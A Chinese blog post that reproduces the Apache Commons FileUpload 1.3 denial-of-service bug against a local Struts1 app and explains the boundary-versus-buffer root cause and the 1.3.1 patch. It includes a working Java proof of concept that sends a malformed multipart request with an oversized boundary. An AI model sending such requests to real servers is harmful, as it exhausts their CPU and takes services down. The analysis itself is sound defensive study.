这个漏洞是2014年2月4日被发现的, 因为该组件试用范围非常广, 所以该漏洞的影响也非常巨大。通过特制的包含畸形header的http请求,可以导致使用该组件的应用程序进入无限循环从而耗尽CPU等资源并最终崩溃。

最近因为在修补struts1的可操纵classLoader的漏洞(struts2也有该漏洞, 不在本文讨论范围), 所以我就在我建立的struts1的项目上直接做测试,怎么创建struts1的项目不在本文讨论范围之列你可以在这里下载struts1样例程序(http://download.csdn.NET/detail/sunxing007/7350433)。 只需要建立一个最简单的hello world的struts1程序即可。然后启动tomcat并部署项目。

然后用apache http component 组件写一个程序来发起一个“带特制的包含畸形header的http请求” 关键代码如下(在下载的附件中有HttpUtil.Java包含完整的代码):

  1. public static void testCommonFileUploadVelnerability() throws ClientProtocolException, IOException{
  2. CloseableHttpClient httpClient = createHttpClient();
  3. HttpPost post = new HttpPost("http://localhost:8080/Struts1/helloWorld.do");
  4. String boundary = "";
  5. for(int i=0; i<4092; i++){
  6. boundary += "a";
  7. }
  8. post.setHeader("Content-Type", "multipart/form-data; boundary=#{" + boundary + "}");
  9. post.setHeader("lf-None-Match","59e532f501ac13174dd9c488f897ee75");
  10. String body = "";
  11. for(int i=0; i<4097; i++){
  12. body +="b";
  13. }
  14. post.setEntity(new StringEntity(body));
  15. CloseableHttpResponse response = httpClient.execute(post, DEFAULT_CONTEXT);
  16. HttpEntity entity = response.getEntity();
  17. System.out.println(EntityUtils.toString(entity));
  18. System.out.println("Over!");
  19. }

运行该程序, 你会发现该程序无法返回, 打开任务管理器,会发现CPU使用率为100%; 关闭tomcat后 CPU的使用率马上降到正常水平。

该漏洞出现在fileupload 1.3和以前的版本, apache在漏洞发现之后很快发布了1.3.1版本修复了该bug。

稍微有点好奇的我,就下载了fileupload的1.3和1.3.1的源码并比较了一下, 发现问题的原因就在于, 它在解析/读取上传内容的时候,使用了一个长度为4096的buffer,它不断的读取内容到buffer并用boundary来判断是否一个附件结束。但是如果一个boundary加上CR/LF外加两个dash(-)的长度本身就超过了buffer的长度的话, 会导致解析进入死循环。所以apache在fix这个bug的时候,会判断boundary的长度是否大于buffer的长度。如果是就抛异常。如下的代码片段出现在FileUploadBase.java和MultipartStream.java中:

  1. try {
  2. multi = new MultipartStream(input, boundary, notifier);
  3. } catch (IllegalArgumentException iae) {
  4. throw new InvalidContentTypeException(
  5. format("The boundary specified in the %s header is too long", CONTENT_TYPE), iae);
  6. }
  1. public MultipartStream(InputStream input,
  2. byte[] boundary,
  3. int bufSize,
  4. ProgressNotifier pNotifier) {
  5. if (boundary == null) {
  6. throw new IllegalArgumentException("boundary may not be null");
  7. }
  8. this.input = input;
  9. this.bufSize = bufSize;
  10. this.buffer = new byte[bufSize];
  11. this.notifier = pNotifier;
  12. // We prepend CR/LF to the boundary to chop trailing CR/LF from
  13. // body-data tokens.
  14. this.boundaryLength = boundary.length + BOUNDARY_PREFIX.length;
  15. if (bufSize < this.boundaryLength + 1) {
  16. throw new IllegalArgumentException(
  17. "The buffer size specified for the MultipartStream is too small");
  18. }
  19. this.boundary = new byte[this.boundaryLength];
  20. this.keepRegion = this.boundary.length;
  21. System.arraycopy(BOUNDARY_PREFIX, 0, this.boundary, 0,
  22. BOUNDARY_PREFIX.length);
  23. System.arraycopy(boundary, 0, this.boundary, BOUNDARY_PREFIX.length,
  24. boundary.length);
  25. head = 0;
  26. tail = 0;
  27. }

有兴趣的可以下载源码并详细研究一下。

重现apache commons fileupload DOS漏洞的更多相关文章

  1. Apache Commons Fileupload 反序列化漏洞分析

    下面是k8脚本. # -*- coding: utf-8 -*- # Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) D ...

  2. CVE-2014-0050: Exploit with Boundaries, Loops without Boundaries、Apache Commons FileUpload and Apache Tomcat DoS

    catalog . Description . Analysis . POC . Solution 1. Description MultipartStream.java in Apache Comm ...

  3. Apache Commons fileUpload实现文件上传之一

      需要两个jar包: commons-fileupload.jar Commons IO的jar包(本文使用commons-io-2.4.jar) 利用Servlet来实现文件上传. package ...

  4. 上传文件出错:org.apache.commons.fileupload.FileUploadBase$IOFileUploadException: Processing of multipart/form-data request failed. Stream ended unexpectedly

    最近做一个web项目中有上传文件的功能,已经写出并在本地和部署到服务器上测试了好几个文件上传都没问题(我用的是tomcat).后来又上传了一个700多K的文件(前边的都是不足600K的,并且这个wor ...

  5. Caused by: java.lang.ClassNotFoundException: org.apache.commons.fileupload.RequestContext

    1.错误描述 usage: java org.apache.catalina.startup.Catalina [ -config {pathname} ] [ -nonaming ] { -help ...

  6. org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException

    1.错误原因 org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't ...

  7. 上传文件代码报错,java.lang.ClassNotFoundException: org.apache.commons.fileupload.FileItemFactory

    2018-09-11 11:11:08.235 ERROR 14352 --- [nio-8080-exec-5] o.a.c.c.C.[.[.[/].[dispatcherServlet]    : ...

  8. Apache Commons FileUpload 实现文件上传

    Commons FileUpload简介 Apache Commons是一个专注于可重用Java组件开发的 Apache 项目.Apache Commons项目由三个部分组成: 1.Commons P ...

  9. Could not parse multipart servlet request; nested exception is org.apache.commons.fileupload.FileUploadBase$IOFileUploadException: Processing of multipart/form-data request failed.

    org.springframework.web.multipart.MultipartException: Could not parse multipart servlet request; nes ...

随机推荐

  1. 二叉堆练习3&【模板】堆

    时间限制: 3 s 空间限制: 128000 KB 题目等级 : 黄金 Gold 题目描述 Description 给定N(N≤500,000)和N个整数(较有序),将其排序后输出. 输入描述 Inp ...

  2. Holedox Eating HDU4302 模拟

    Problem Description Holedox is a small animal which can be considered as one point. It lives in a st ...

  3. FreeMarker与Spring MVC 4结合错误:Caused by: java.lang.NoClassDefFoundError: org/springframework/ui/freemarker/FreeMarkerConfiguration

    添加spring-context-support的依赖到POM: <!-- spring-context-support --> <!-- https://mvnrepository ...

  4. yum 源本地化 (two)

    之前写过一个yum源本地化的文章. 后来发现那个方法有些缺陷, yum install --downloadonly --downloaddir=/tmp/atomicdownload memcach ...

  5. mybatis mapper文件sql语句传入hashmap参数

    1.怎样在mybatis mapper文件sql语句传入hashmap参数? 答:直接这样写map就可以 <select id="selectTeacher" paramet ...

  6. heap实现

    //STL提供的是Max heap,使用vector作为底部容器 //push_heap算法:首先将元素放到堆所对应的数组的末端,然后从该节点开始向上调整, //若当前结点键值比父结点大,则兑换位置, ...

  7. [Vue @Component] Load Vue Async Components

    Vue provides a straight-forward syntax for loading components at runtime to help shave off initial b ...

  8. [JavaEE] Bootstrapping a JavaEE Application

    To bootsrap the application use the following Maven archetype: mvn -DarchetypeGroupId=org.codehaus.m ...

  9. HDU 2489 Minimal Ratio Tree (dfs+Prim最小生成树)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=2489 Problem Description For a tree, which nodes and ...

  10. ganglia收集hbase的metrics

    Ganglia 是 UC Berkeley 发起的一个开源监视项目,设计用于測量数以千计的节点.每台计算机都执行一个收集和发送度量数据(如处理器速度.内存使用量等)的名为 gmond 的守护进程.它将 ...